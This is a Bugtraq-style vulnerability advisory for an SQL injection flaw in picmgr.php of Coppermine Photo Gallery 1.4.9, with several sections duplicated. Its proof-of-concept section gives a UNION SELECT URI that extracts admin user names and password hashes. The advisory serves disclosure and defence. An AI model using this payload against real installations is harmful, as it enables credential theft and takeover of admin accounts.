Coppermine Photo Gallery Picmgr.PHP SQL Injection Vulnerability
BID:20774
Info
Coppermine Photo Gallery Picmgr.PHP SQL Injection Vulnerability
| Bugtraq ID: | 20774 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Oct 27 2006 12:00AM |
| Updated: | Oct 30 2006 05:47PM |
| Credit: | w4ck1ng.com is credited with the discovery of this issue. |
| Vulnerable: |
Coppermine Photo Gallery 1.4.9 |
| Not Vulnerable: | |
Discussion
Coppermine Photo Gallery Picmgr.PHP SQL Injection Vulnerability
Coppermine Photo Gallery is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.
Version 1.4.9 is vulnerable to this issue; other versions may also be affected.
Coppermine Photo Gallery is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.
Version 1.4.9 is vulnerable to this issue; other versions may also be affected.
Exploit / POC
Coppermine Photo Gallery Picmgr.PHP SQL Injection Vulnerability
Attackers can exploit this issue via a web client.
The following proof-of-concept URI is available:
http://www.example.com/picmgr.php?aid=123%20UNION%20SELECT%20user_id,user_group,concat(user_name,char(58,58),user_password)%20FROM%20cpg149_users%20right%20join%20cpg149_usergroups
%20on%20cpg149_users.user_group%20=%20cpg149_usergroups.group_id%20where%20cpg149_usergroups.has_admin_access%20=%201%20--
Attackers can exploit this issue via a web client.
The following proof-of-concept URI is available:
http://www.example.com/picmgr.php?aid=123%20UNION%20SELECT%20user_id,user_group,concat(user_name,char(58,58),user_password)%20FROM%20cpg149_users%20right%20join%20cpg149_usergroups
%20on%20cpg149_users.user_group%20=%20cpg149_usergroups.group_id%20where%20cpg149_usergroups.has_admin_access%20=%201%20--
Solution / Fix
Coppermine Photo Gallery Picmgr.PHP SQL Injection Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected]:[email protected].
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected]:[email protected].
References
Coppermine Photo Gallery Picmgr.PHP SQL Injection Vulnerability
References:
References:
- Vendor Home Page (Coppermine)